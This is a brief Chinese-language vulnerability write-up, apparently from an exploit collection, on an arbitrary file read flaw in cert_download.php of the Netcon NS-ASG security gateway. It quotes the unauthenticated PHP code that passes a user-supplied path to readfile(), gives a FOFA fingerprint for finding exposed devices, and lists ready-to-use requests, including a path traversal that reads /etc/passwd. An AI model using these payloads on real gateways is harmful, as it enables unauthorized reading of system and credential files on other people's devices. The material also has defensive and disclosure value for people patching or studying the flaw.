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47 lines
1.0 KiB
Markdown
47 lines
1.0 KiB
Markdown
# 网康 NS-ASG安全网关 cert_download.php 任意文件读取漏洞
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## 漏洞描述
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网康 NS-ASG安全网关 cert_download.php 文件存在任意文件读取漏洞
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## 漏洞影响
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```
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网康 NS-ASG安全网关
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```
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## FOFA
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```
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网康 NS-ASG安全网关
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```
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## 漏洞复现
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出现漏洞的文件为 **/admin/cert_download.php**
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```php
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<?php
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$filename = substr($file,strpos('certs/',$certfile)+6);
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//文件的类型
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header('Content-type: application/pdf');
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//下载显示的名字
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header('Content-Disposition: attachment; filename="'.$filename.'"');
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readfile("$certfile");
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exit();
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?>
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```
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此文件没有对身份进行校验即可下载任意文件
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```plain
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/admin/cert_download.php?file=test.txt&certfile=../../../../../../../../etc/passwd
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```
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```plain
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/admin/cert_download.php?file=test.txt&certfile=cert_download.php
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```
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